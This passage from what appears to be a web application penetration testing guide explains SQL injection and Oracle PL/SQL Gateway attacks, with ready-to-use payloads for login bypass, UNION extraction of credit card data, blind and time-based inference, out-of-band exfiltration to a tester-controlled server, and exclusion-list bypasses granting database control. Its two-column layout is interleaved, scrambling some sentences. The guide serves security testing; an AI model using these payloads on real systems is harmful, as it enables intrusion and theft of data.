this way the system has authenticated the user without knowing In this way, we create a request like the follow:
the username and password.
In some systems the first row of a user table would be an ad- http://www.example.com/index.php?username=1’%20or%20
ministrator user. This may be the profile returned in some cases. ’1’%20=%20’1’))%20LIMIT%201/*&password=foo
Another example of query is the following:

Example 2 (simple SELECT statement):


SELECT * FROM Users WHERE ((Username=’$username’) AND Consider the following SQL query:
(Password=MD5(‘$password’)))
SELECT * FROM products WHERE id_product=$id_product
In this case, there are two problems, one due to the use of the
parentheses and one due to the use of MD5 hash function. First
of all, we resolve the problem of the parentheses. That simply Consider also the request to a script who executes the query
consists of adding a number of closing parentheses until we ob- above:
tain a corrected query. To resolve the second problem, we try to
evade the second condition. We add to our query a final symbol http://www.example.com/product.php?id=10
that means that a comment is beginning. In this way, everything
that follows such symbol is considered a comment. Every DBMS
has its own syntax for comments, however, a common symbol to When the tester tries a valid value (e.g. 10 in this case), the appli-
the greater majority of the databases is /*. In Oracle the symbol cation will return the description of a product. A good way to test
is “--”. This said, the values that we’ll use as Username and Pass- if the application is vulnerable in this scenario is play with logic,
word are: using the operators AND and OR.

Consider the request:


$username = 1’ or ‘1’ = ‘1’))/*
http://www.example.com/product.php?id=10 AND 1=2

$password = foo
SELECT * FROM products WHERE id_product=10 AND 1=2

In this way, we’ll get the following query:


In this case, probably the application would return some message tell-
ing us there is no content available or a blank page. Then the tester can
$password = foo send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1


(Due to the inclusion of a comment delimiter in the $username
value the password portion of the query will be ignored.)
Example 3 (Stacked queries):
The URL request will be: Depending on the API which the web application is using and the
111

Web Application Penetration Testing

DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible Exploitation Techniques
to execute multiple queries in one call. Union Exploitation Technique
The UNION operator is used in SQL injections to join a query, pur-
Consider the following SQL query: posely forged by the tester, to the original query.
The result of the forged query will be joined to the result of the
original query, allowing the tester to obtain the values of columns
SELECT * FROM products WHERE id_product=$id_product
of other tables. Suppose for our examples that the query executed
from the server is the following:
A way to exploit the above scenario would be:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
http://www.example.com/product.php?id=10; INSERT INTO
users (…)
We will set the following $id value:

This way is possible to execute many queries in a row and indepen- $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM Credit-
dent of the first query. CardTable

Fingerprinting the Database We will have the following query:


Even the SQL language is a standard, every DBMS has its peculiarity
and differs from each other in many aspects like special commands,
SELECT Name, Phone, Address FROM Users WHERE Id=1
functions to retrieve data such as users names and databases, fea-
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCard-
tures, comments line etc.
Table
When the testers move to a more advanced SQL injection exploitation
they need to know what the back end database is. Which will join the result of the original query with all the cred-
it card numbers in the CreditCardTable table. The keyword ALL is
1) The first way to find out what back end database is used is by ob- necessary to get around queries that use the keyword DISTINCT.
serving the error returned by the application. Follow are some exam- Moreover, we notice that beyond the credit card numbers, we
ples: have selected other two values. These two values are necessary,
because the two queries must have an equal number of parame-
MySql: ters/columns, in order to avoid a syntax error.

You have an error in your SQL syntax; check the manual The first detail a tester needs to exploit the SQL injection vulnera-
that corresponds to your MySQL server version for the bility using such technique is to find the right numbers of columns
right syntax to use near ‘\’’ at line 1 in the SELECT statement.
In order to achieve this the tester can use ORDER BY clause fol-
Oracle: lowed by a number indicating the numeration of database’s col-
umn selected:
ORA-00933: SQL command not properly ended
http://www.example.com/product.php?id=10 ORDER BY 10--
MS SQL Server:
If the query executes with success the tester can assume, in this
example, there are 10 or more columns in the SELECT statement.
Microsoft SQL Native Client error ‘80040e14’
If the query fails then there must be fewer than 10 columns re-
Unclosed quotation mark after the character string
turned by the query. If there is an error message available, it would
probably be:
PostgreSQL:
Unknown column ‘10’ in ‘order clause’
Query failed: ERROR: syntax error at or near
“’” at character 56 in /www/site/test.php on line 121.
After the tester finds out the numbers of columns, the next step is
to find out the type of columns. Assuming there were 3 columns
2) If there is no error message or a custom error message, the tes- in the example above, the tester could try each column type, using
ter can try to inject into string field using concatenation technique: the NULL value to help them:

MySql: ‘test’ + ‘ing’ http://www.example.com/product.php?id=10 UNION SELECT


SQL Server: ‘test’ ‘ing’ 1,null,null--
Oracle: ‘test’||’ing’
PostgreSQL: ‘test’||’ing’
If the query fails, the tester will probably see a message like:
112

Web Application Penetration Testing

ASCII (char): it gives back ASCII value of the input character. A null
All cells in a column must have the same datatype value is returned if char is 0.

If the query executes with success, the first column can be an in- LENGTH (text): it gives back the number of characters in the input
teger. Then the tester can move further and so on: text.

Through such functions, we will execute our tests on the first


http://www.example.com/product.php?id=10 UNION SELECT character and, when we have discovered the value, we will pass
1,1,null-- to the second and so on, until we will have discovered the entire
value. The tests will take advantage of the function SUBSTRING,
After the successful information gathering, depending on the ap- in order to select only one character at a time (selecting a single
plication, it may only show the tester the first result, because the character means to impose the length parameter to 1), and the
application treats only the first line of the result set. In this case, function ASCII, in order to obtain the ASCII value, so that we can do
it is possible to use a LIMIT clause or the tester can set an invalid numerical comparison. The results of the comparison will be done
value, making only the second query valid (supposing there is no with all the values of the ASCII table, until the right value is found.
entry in the database which ID is 99999): As an example, we will use the following value for Id:

$Id=1’ AND ASCII(SUBSTRING(username,1,1))=97 AND ‘1’=’1


http://www.example.com/product.php?id=99999 UNION
SELECT 1,1,null--
That creates the following query (from now on, we will call it “in-
Boolean Exploitation Technique ferential query”):
The Boolean exploitation technique is very useful when the tester
finds a Blind SQL Injection situation, in which nothing is known on SELECT field1, field2, field3 FROM Users WHERE Id=’1’ AND
the outcome of an operation. For example, this behavior happens ASCII(SUBSTRING(username,1,1))=97 AND ‘1’=’1’
in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on
the database. (The page does not return a SQL error, it may just The previous example returns a result if and only if the first char-
return a HTTP 500, 404, or redirect). acter of the field username is equal to the ASCII value 97. If we get
a false value, then we increase the index of the ASCII table from
By using inference methods, it is possible to avoid this obstacle 97 to 98 and we repeat the request. If instead we obtain a true
and thus to succeed in recovering the values of some desired value, we set to zero the index of the ASCII table and we analyze
fields. This method consists of carrying out a series of boolean the next character, modifying the parameters of the SUBSTRING
queries against the server, observing the answers and finally function. The problem is to understand in which way we can dis-
deducing the meaning of such answers. We consider, as always, tinguish tests returning a true value from those that return false.
the www.example.com domain and we suppose that it contains a To do this, we create a query that always returns false. This is pos-
parameter named id vulnerable to SQL injection. This means that sible by using the following value for Id:
carrying out the following request:
$Id=1’ AND ‘1’ = ‘2
http://www.example.com/index.php?id=1’
Which will create the following query:
We will get one page with a custom message error which is due to
a syntactic error in the query. We suppose that the query executed SELECT field1, field2, field3 FROM Users WHERE Id=’1’ AND ‘1’
on the server is: = ‘2’

SELECT field1, field2, field3 FROM Users WHERE Id=’$Id’ The obtained response from the server (that is HTML code) will be
the false value for our tests. This is enough to verify whether the
Which is exploitable through the methods seen previously. What value obtained from the execution of the inferential query is equal
we want to obtain is the values of the username field. The tests to the value obtained with the test executed before.
that we will execute will allow us to obtain the value of the user- Sometimes, this method does not work. If the server returns two
name field, extracting such value character by character. This is different pages as a result of two identical consecutive web re-
possible through the use of some standard functions, present in quests, we will not be able to discriminate the true value from
practically every database. For our examples, we will use the fol- the false value. In these particular cases, it is necessary to use
lowing pseudo-functions: particular filters that allow us to eliminate the code that chang-
es between the two requests and to obtain a template. Later on,
SUBSTRING (text, start, length): returns a substring starting from for every inferential request executed, we will extract the relative
the position “start” of text and of length “length”. I template from the response using the same function, and we will
f “start” is greater than the length of text, the function returns a perform a control between the two templates in order to decide
null value. the result of the test.
113

Web Application Penetration Testing

In the previous discussion, we haven’t dealt with the problem of passed to it, which is other query, the name of the user. When the
determining the termination condition for out tests, i.e., when we database looks for a host name with the user database name, it
should end the inference procedure. will fail and return an error message like:
A techniques to do this uses one characteristic of the SUBSTRING
function and the LENGTH function. When the test compares the ORA-292257: host SCOTT unknown
current character with the ASCII code 0 (i.e., the value null) and the
test returns the value true, then either we are done with the infer-
ence procedure (we have scanned the whole string), or the value Then the tester can manipulate the parameter passed to GET_
we have analyzed contains the null character. HOST_NAME() function and the result will be shown in the error
We will insert the following value for the field Id: message.

$Id=1’ AND LENGTH(username)=N AND ‘1’ = ‘1 Out of band Exploitation technique


This technique is very useful when the tester find a Blind SQL In-
jection situation, in which nothing is known on the outcome of an
Where N is the number of characters that we have analyzed up to operation. The technique consists of the use of DBMS functions to
now (not counting the null value). The query will be: perform an out of band connection and deliver the results of the
injected query as part of the request to the tester’s server. Like the
SELECT field1, field2, field3 FROM Users WHERE Id=’1’ AND error based techniques, each DBMS has its own functions. Check
LENGTH(username)=N AND ‘1’ = ‘1’ for specific DBMS section.

Consider the following SQL query:


The query returns either true or false. If we obtain true, then we
have completed the inference and, therefore, we know the val-
SELECT * FROM products WHERE id_product=$id_product
ue of the parameter. If we obtain false, this means that the null
character is present in the value of the parameter, and we must
continue to analyze the next parameter until we find another null Consider also the request to a script who executes the query
value. above:

The blind SQL injection attack needs a high volume of queries. The http://www.example.com/product.php?id=10
tester may need an automatic tool to exploit the vulnerability.

Error based Exploitation technique The malicious request would be:

An Error based exploitation technique is useful when the tester http://www.example.com/product.php?id=10||UTL_HTTP.


for some reason can’t exploit the SQL injection vulnerability using request(‘testerserver.com:80’||(SELET user FROM DUAL)--
other technique such as UNION. The Error based technique con-
sists in forcing the database to perform some operation in which
the result will be an error. The point here is to try to extract some In this example, the tester is concatenating the value 10 with the
data from the database and show it in the error message. This ex- result of the function UTL_HTTP.request. This Oracle function will
ploitation technique can be different from DBMS to DBMS (check try to connect to ‘testerserver’ and make a HTTP GET request con-
DBMS specific section). taining the return from the query “SELECT user FROM DUAL”. The
Consider the following SQL query: tester can set up a webserver (e.g. Apache) or use the Netcat tool:

SELECT * FROM products WHERE id_product=$id_product /home/tester/nc –nLp 80


GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close
Consider also the request to a script who executes the query
above: Time delay Exploitation technique
The Boolean exploitation technique is very useful when the tester
find a Blind SQL Injection situation, in which nothing is known on
http://www.example.com/product.php?id=10
the outcome of an operation. This technique consists in sending
an injected query and in case the conditional is true, the tester can
The malicious request would be (e.g. Oracle 10g): monitor the time taken to for the server to respond. If there is a
delay, the tester can assume the result of the conditional query is
true. This exploitation technique can be different from DBMS to
http://www.example.com/product.php?id=10||UTL_INADDR.
DBMS (check DBMS specific section).
GET_HOST_NAME( (SELECT user FROM DUAL) )--
Consider the following SQL query:
In this example, the tester is concatenating the value 10 with the
result of the function UTL_INADDR.GET_HOST_NAME. This Or- SELECT * FROM products WHERE id_product=$id_product
acle function will try to return the host name of the parameter
114

Web Application Penetration Testing

Consider also the request to a script who executes the query Tools
above: • SQL Injection Fuzz Strings (from wfuzz tool) -
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/
http://www.example.com/product.php?id=10 SQL.txt
• OWASP SQLiX
• Francois Larouche: Multiple DBMS SQL Injection tool -
The malicious request would be (e.g. MySql 5.x): SQL Power Injector
• ilo--, Reversing.org - sqlbftools
http://www.example.com/product.php?id=10 AND IF(version() • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -
like ‘5%’, sleep(10), ‘false’))-- http://sqlmap.org/
• icesurfer: SQL Server Takeover Tool - sqlninja
• Pangolin: Automated SQL Injection Tool - Pangolin
In this example the tester if checking whether the MySql version is • Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool -
5.x or not, making the server to delay the answer by 10 seconds. http://code.google.com/p/mysqloit/
The tester can increase the delay time and monitor the responses. • Antonio Parata: Dump Files by SQL inference on Mysql -
The tester also doesn’t need to wait for the response. Sometimes SqlDumper
he can set a very high value (e.g. 100) and cancel the request after • bsqlbf, a blind SQL injection tool in Perl
some seconds.
References
Stored Procedure Injection • Top 10 2013-A1-Injection
When using dynamic SQL within a stored procedure, the applica- • SQL Injection
tion must properly sanitize the user input to eliminate the risk of Technology specific Testing Guide pages have been created for
code injection. If not sanitized, the user could enter malicious SQL the following DBMSs:
that will be executed within the stored procedure. • Oracle
• MySQL
Consider the following SQL Server Stored Procedure: • SQL Server

Create procedure user_login @username varchar(20), @passwd Whitepapers


varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = • Victor Chapela: “Advanced SQL Injection” -
‘ Select 1 from users Where username = ‘ + @username + ‘ and http://www.owasp.org/images/7/74/Advanced_SQL_Injection.
passwd = ‘ + @passwd exec(@sqlstring) Go ppt
• Chris Anley: “Advanced SQL Injection In SQL Server Applications”
User input: anyusername or 1=1’ anypassword - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-
sql-inj.pdf
This procedure does not sanitize the input, therefore allowing the • Chris Anley: “More Advanced SQL Injection” -
return value to show an existing record with these parameters. http://www.encription.co.uk/downloads/more_advanced_sql_
injection.pdf
NOTE: This example may seem unlikely due to the use of dynamic • David Litchfield: “Data-mining with SQL Injection and Inference”
SQL to log in a user, but consider a dynamic reporting query where - http://www.databasesecurity.com/webapps/sqlinference.pdf
the user selects the columns to view. The user could insert mali- • Imperva: “Blinded SQL Injection” - https://www.imperva.com/lg/
cious code into this scenario and compromise the data. lgw.asp?pid=369
Consider the following SQL Server Stored Procedure: • Ferruh Mavituna: “SQL Injection Cheat Sheet” -
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
Create procedure get_report @columnamelist varchar(7900) As • Kevin Spett from SPI Dynamics: “SQL Injection” -
Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @ https://docs.google.com/file/
columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
• Kevin Spett from SPI Dynamics: “Blind SQL Injection” -
User input: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

1 from users; update users set password = ‘password’; select * Testing for Oracle
Summary
This will result in the report running and all users’ passwords be- Web based PL/SQL applications are enabled by the PL/SQL Gate-
ing updated. way, which is is the component that translates web requests into
database queries. Oracle has developed a number of software
Automated Exploitation implementations, ranging from the early web listener product to
Most of the situation and techniques presented here can be per- the Apache mod_plsql module to the XML Database (XDB) web
formed in a automated way using some tools. In this article the server. All have their own quirks and issues, each of which will
tester can find information how to perform an automated auditing be thoroughly investigated in this chapter. Products that use the
using SQLMap: PL/SQL Gateway include, but are not limited to, the Oracle HTTP
https://www.owasp.org/index.php/Automated_Audit_using_ Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Ap-
SQLMap plication Server.
115

Web Application Penetration Testing

How to Test
How the PL/SQL Gateway works SIMPLEDAD
Essentially the PL/SQL Gateway simply acts as a proxy server taking HTMLDB
the user’s web request and passes it on to the database server where ORASSO
it is executed. SSODAD
PORTAL
[1] The web server accepts a request from a web client and PORTAL2
determines if it should be processed by the PL/SQL Gateway. PORTAL30
[2] The PL/SQL Gateway processes the request by extracting the PORTAL30_SSO
requested package name, procedure, and variables. TEST
[3] The requested package and procedure are wrapped in a block DAD
of anonymous PL/SQL, and sent to the database server. APP
[4] The database server executes the procedure and sends the ONLINE
results back to the Gateway as HTML. DB
[5] The gateway sends the response, via the web server, back to OWA
the client.

Understanding this point is important - the PL/SQL code does not ex- Determining if the PL/SQL Gateway is running
ist on the web server but, rather, in the database server. This means When performing an assessment against a server, it’s important first
that any weaknesses in the PL/SQL Gateway or any weaknesses in to know what technology you’re actually dealing with. If you don’t al-
the PL/SQL application, when exploited, give an attacker direct access ready know, for example, in a black box assessment scenario, then the
to the database server; no amount of firewalls will prevent this. first thing you need to do is work this out. Recognizing a web based
PL/SQL application is pretty easy. First, there is the format of the URL
URLs for PL/SQL web applications are normally easily recognizable and what it looks like, discussed above. Beyond that there are a set of
and generally start with the following (xyz can be any string and simple tests that can be performed to test for the existence of the PL/
represents a Database Access Descriptor, which you will learn more SQL Gateway.
about later):
Server response headers
The web server’s response headers are a good indicator as to whether
http://www.example.com/pls/xyz
the server is running the PL/SQL Gateway. The table below lists some
http://www.example.com/xyz/owa
of the typical server response headers:
http://www.example.com/xyz/plsql

While the second and third of these examples represent URLs from Oracle-Application-Server-10g
older versions of the PL/SQL Gateway, the first is from more recent Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
versions running on Apache. In the plsql.conf Apache configuration file, Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
/pls is the default, specified as a Location with the PLS module as the Oracle-Application-Server-10g OracleAS-Web-Cache-
handler. The location need not be /pls, however. The absence of a file 10g/9.0.4.2.0 (N)
extension in a URL could indicate the presence of the Oracle PL/SQL Oracle-Application-Server-10g/9.0.4.0.0
Gateway. Consider the following URL: Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_
http://www.server.com/aaa/bbb/xxxxx.yyyyy plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_
plsql/3.0.9.8.3d
If xxxxx.yyyyy were replaced with something along the lines of “ebank. Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_
home,” “store.welcome,” “auth.login,” or “books.search,” then there’s a plsql/3.0.9.8.5e
fairly strong chance that the PL/SQL Gateway is being used. It is also Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_
possible to precede the requested package and procedure with the plsql/3.0.9.8.5e
name of the user that owns it - i.e. the schema - in this case the user Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_
is “webuser”: plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_
http://www.server.com/pls/xyz/webuser.pkg.proc plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_
plsql/9.0.2.0.0
In this URL, xyz is the Database Access Descriptor, or DAD. A DAD Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
specifies information about the database server so that the PL/SQL Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Gateway can connect. It contains information such as the TNS connect Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
string, the user ID and password, authentication methods, and so on. Oracle_Web_listener3.0.2.0.0/2.14FC1
These DADs are specified in the dads.conf Apache configuration file in Oracle9iAS/9.0.2 Oracle HTTP Server
more recent versions or the wdbsvr.app file in older versions. Some Oracle9iAS/9.0.3.1 Oracle HTTP Server
default DADs include the following:
116

Web Application Penetration Testing

The NULL test Cross Site Scripting attacks could be launched via the HTP pack-
In PL/SQL, “null” is a perfectly acceptable expression: age:

http://www.example.com/pls/dad/HTP.PRINT?C-
SQL> BEGIN
BUF=<script>alert(‘XSS’)</script>
2 NULL;
3 END;
4/ Clearly, this is dangerous, so Oracle introduced a PLSQL Exclu-
sion list to prevent direct access to such dangerous procedures.
PL/SQL procedure successfully completed. Banned items include any request starting with SYS.*, any re-
quest starting with DBMS_*, any request with HTP.* or OWA*. It
is possible to bypass the exclusion list however. What’s more, the
We can use this to test if the server is running the PL/SQL Gate- exclusion list does not prevent access to packages in the CTXSYS
way. Simply take the DAD and append NULL, then append NO- and MDSYS schemas or others, so it is possible to exploit flaws in
SUCHPROC: these packages:

http://www.example.com/pls/dad/null http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALI-
http://www.example.com/pls/dad/nosuchproc DATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL

If the server responds with a 200 OK response for the first and a This will return a blank HTML page with a 200 OK response if the
404 Not Found for the second then it indicates that the server is database server is still vulnerable to this flaw (CVE-2006-0265)
running the PL/SQL Gateway.
Testing the PL/SQL Gateway For Flaws
Known package access Over the years, the Oracle PL/SQL Gateway has suffered from a
On older versions of the PL/SQL Gateway, it is possible to directly number of flaws, including access to admin pages (CVE-2002-
access the packages that form the PL/SQL Web Toolkit such as the 0561), buffer overflows (CVE-2002-0559), directory traversal
OWA and HTP packages. One of these packages is the OWA_UTIL bugs, and vulnerabilities that allow attackers to bypass the Exclu-
package, which we’ll speak about more later on. This package sion List and go on to access and execute arbitrary PL/SQL pack-
contains a procedure called SIGNATURE and it simply outputs in ages in the database server.
HTML a PL/SQL signature. Thus requesting
Bypassing the PL/SQL Exclusion List
“This page was produced by the PL/SQL Web Toolkit on date” It is incredible how many times Oracle has attempted to fix flaws
that allow attackers to bypass the exclusion list. Each patch that
Oracle has produced has fallen victim to a new bypass technique.
returns the following output on the webpage The history of this sorry story can be found here: http://seclists.
org/fulldisclosure/2006/Feb/0011.html
“This page was produced by the PL/SQL Cartridge on date”
Bypassing the Exclusion List - Method 1
When Oracle first introduced the PL/SQL Exclusion List to prevent
or attackers from accessing arbitrary PL/SQL packages, it could be
trivially bypassed by preceding the name of the schema/package
with a hex encoded newline character or space or tab:
“This page was produced by the PL/SQL Cartridge on date”
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
If you don’t get this response but a 403 Forbidden response then http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
you can infer that the PL/SQL Gateway is running. This is the re- http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
sponse you should get in later versions or patched systems.

Accessing Arbitrary PL/SQL Packages in the Database Bypassing the Exclusion List - Method 2
It is possible to exploit vulnerabilities in the PL/SQL packages that Later versions of the Gateway allowed attackers to bypass the
are installed by default in the database server. How you do this exclusion list by preceding the name of the schema/package
depends on the version of the PL/SQL Gateway. In earlier versions with a label. In PL/SQL a label points to a line of code that can
of the PL/SQL Gateway, there was nothing to stop an attacker be jumped to using the GOTO statement and takes the following
from accessing an arbitrary PL/SQL package in the database serv- form: <<NAME>>
er. We mentioned the OWA_UTIL package earlier. This can be used
to run arbitrary SQL queries: http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC

http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? Bypassing the Exclusion List - Method 3


P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS Simply placing the name of the schema/package in double quotes
could allow an attacker to bypass the exclusion list. Note that this
117

Web Application Penetration Testing

will not work on Oracle Application Server 10g as it converts the


user’s request to lowercase before sending it to the database 20 rc__ := 2;
server and a quote literal is case sensitive - thus “SYS” and “sys” 21 else
are not the same and requests for the latter will result in a 404 22 null;
Not Found. On earlier versions though the following can bypass 23 orasso.wpg_session.init();
the exclusion list: 24 foo.bar(XYZ=>:XYZ);
25 if (wpg_docload.is_file_download) then
26 rc__ := 1;
http://www.example.com/pls/dad/”SYS”.PACKAGE.PROC 27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
Bypassing the Exclusion List - Method 4 29 null;
Depending upon the character set in use on the web server and 30 null;
on the database server, some characters are translated. Thus, de- 31 commit;
pending upon the character sets in use, the “ÿ” character (0xFF) 32 else
might be converted to a “Y” at the database server. Another char- 33 rc__ := 0;
acter that is often converted to an upper case “Y” is the Macron 34 orasso.wpg_session.deinit();
character - 0xAF. This may allow an attacker to bypass the exclu- 35 null;
sion list: 36 null;
37 commit;
38 owa.get_page(:data__,:ndata__);
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC
39 end if;
http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
40 end if;
41 :rc__ := rc__;
Bypassing the Exclusion List - Method 5 42 :db_proc_time__ := dbms_utility.get_time—start_
Some versions of the PL/SQL Gateway allow the exclusion list to time__;
be bypassed with a backslash - 0x5C: 43 end;

Notice lines 19 and 24. On line 19, the user’s request is checked against
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC a list of known “bad” strings, i.e., the exclusion list. If the requested
package and procedure do not contain bad strings, then the procedure
Bypassing the Exclusion List - Method 6 is executed on line 24. The XYZ parameter is passed as a bind variable.
This is the most complex method of bypassing the exclusion list
and is the most recently patched method. If we were to request If we then request the following:
the following
http://server.example.com/pls/dad/INJECT’POINT
http://www.example.com/pls/dad/foo.bar?xyz=123
the following PL/SQL is executed:
the application server would execute the following at the data-
base server: ..
18 simple_list__(7) := ‘htf.%’;
1 declare 19 if ((owa_match.match_pattern(‘inject’point’, simple_
2 rc__ number; list__, complex_list__, true))) then
3 start_time__ binary_integer; 20 rc__ := 2;
4 simple_list__ owa_util.vc_arr; 21 else
5 complex_list__ owa_util.vc_arr; 22 null;
6 begin 23 orasso.wpg_session.init();
7 start_time__ := dbms_utility.get_time; 24 inject’point;
8 owa.init_cgi_env(:n__,:nm__,:v__); ..
9 htp.HTBUF_LEN := 255;
10 null;
11 null; This generates an error in the error log: “PLS-00103: Encountered the
12 simple_list__(1) := ‘sys.%’; symbol ‘POINT’ when expecting one of the following. . .” What we have
13 simple_list__(2) := ‘dbms\_%’; here is a way to inject arbitrary SQL. This can be exploited to bypass
14 simple_list__(3) := ‘utl\_%’; the exclusion list. First, the attacker needs to find a PL/SQL procedure
15 simple_list__(4) := ‘owa\_%’; that takes no parameters and doesn’t match anything in the exclusion
16 simple_list__(5) := ‘owa.%’; list. There are a good number of default packages that match this cri-
17 simple_list__(6) := ‘htp.%’; teria, for example:
18 simple_list__(7) := ‘htf.%’;
19 if ((owa_match.match_pattern(‘foo.bar’, simple_list__, JAVA_AUTONOMOUS_TRANSACTION.PUSH
complex_list__, true))) then XMLGEN.USELOWERCASETAGNAMES
118

Web Application Penetration Testing

PORTAL.WWV_HTP.CENTERCLOSE http://www.example.com/pls/dad/orasso.home?);OWA_
ORASSO.HOME UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_
WWC_VERSION.GET_HTTP_DATABASE_INFO USERS

An attacker should pick one of these functions that is actually To execute arbitrary SQL, including DML and DDL statements, the
available on the target system (i.e., returns a 200 OK when re- attacker inserts an execute immediate :1:
quested). As a test, an attacker can request
http://server.example.com/pls/dad/orasso.home?);exe-
http://server.example.com/pls/dad/orasso.home?FOO=BAR cute%20immediate%20:1;--=select%201%20from%20dual

the server should return a “404 File Not Found” response because Note that the output won’t be displayed. This can be leveraged to
the orasso.home procedure does not require parameters and one exploit any PL/SQL injection bugs owned by SYS, thus enabling an
has been supplied. However, before the 404 is returned, the fol- attacker to gain complete control of the backend database server.
lowing PL/SQL is executed: For example, the following URL takes advantage of the SQL in-
jection flaws in DBMS_EXPORT_EXTENSION (see http://secunia.
com/advisories/19860)
..
..
if ((owa_match.match_pattern(‘orasso.home’, simple_ http://www.example.com/pls/dad/orasso.home?);
list__, complex_list__, true))) then execute%20immediate%20:1;--=DECLARE%20BUF%20
rc__ := 2; VARCHAR2(2000);%20BEGIN%20
else BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_IN-
null; DEX_TABLES
orasso.wpg_session.init(); (‘INDEX_NAME’,’INDEX_SCHEMA’,’DBMS_OUTPUT.PUT_
orasso.home(FOO=>:FOO); LINE(:p1);
.. EXECUTE%20IMMEDIATE%20’’CREATE%20OR%20RE-
.. PLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.
OWA_UTIL’’;
Note the presence of FOO in the attacker’s query string. Attackers END;--’,’SYS’,1,’VER’,0);END;
can abuse this to run arbitrary SQL. First, they need to close the
brackets:
Assessing Custom PL/SQL Web Applications
http://server.example.com/pls/dad/orasso.home?);--=BAR During black box security assessments, the code of the custom
PL/SQL application is not available, but it still needs to be as-
sessed for security vulnerabilities.
This results in the following PL/SQL being executed:
Testing for SQL Injection
Each input parameter should be tested for SQL injection flaws.
..
These are easy to find and confirm. Finding them is as easy as
orasso.home();--=>:);--);
embedding a single quote into the parameter and checking for er-
..
ror responses (which include 404 Not Found errors). Confirming
the presence of SQL injection can be performed using the concat-
Note that everything after the double minus (--) is treated as a enation operator.
comment. This request will cause an internal server error because For example, assume there is a bookstore PL/SQL web application
one of the bind variables is no longer used, so the attacker needs that allows users to search for books by a given author:
to add it back. As it happens, it’s this bind variable that is the key to
running arbitrary PL/SQL. For the moment, they can just use HTP.
PRINT to print BAR, and add the needed bind variable as :1: http://www.example.com/pls/bookstore/books.search?au-
thor=DICKENS

http://server.example.com/pls/dad/orasso.home?);HTP.
PRINT(:1);--=BAR If this request returns books by Charles Dickens, but

http://www.example.com/pls/bookstore/books.search?au-
This should return a 200 with the word “BAR” in the HTML. What’s thor=DICK’ENS
happening here is that everything after the equals sign - BAR in
this case - is the data inserted into the bind variable. Using the
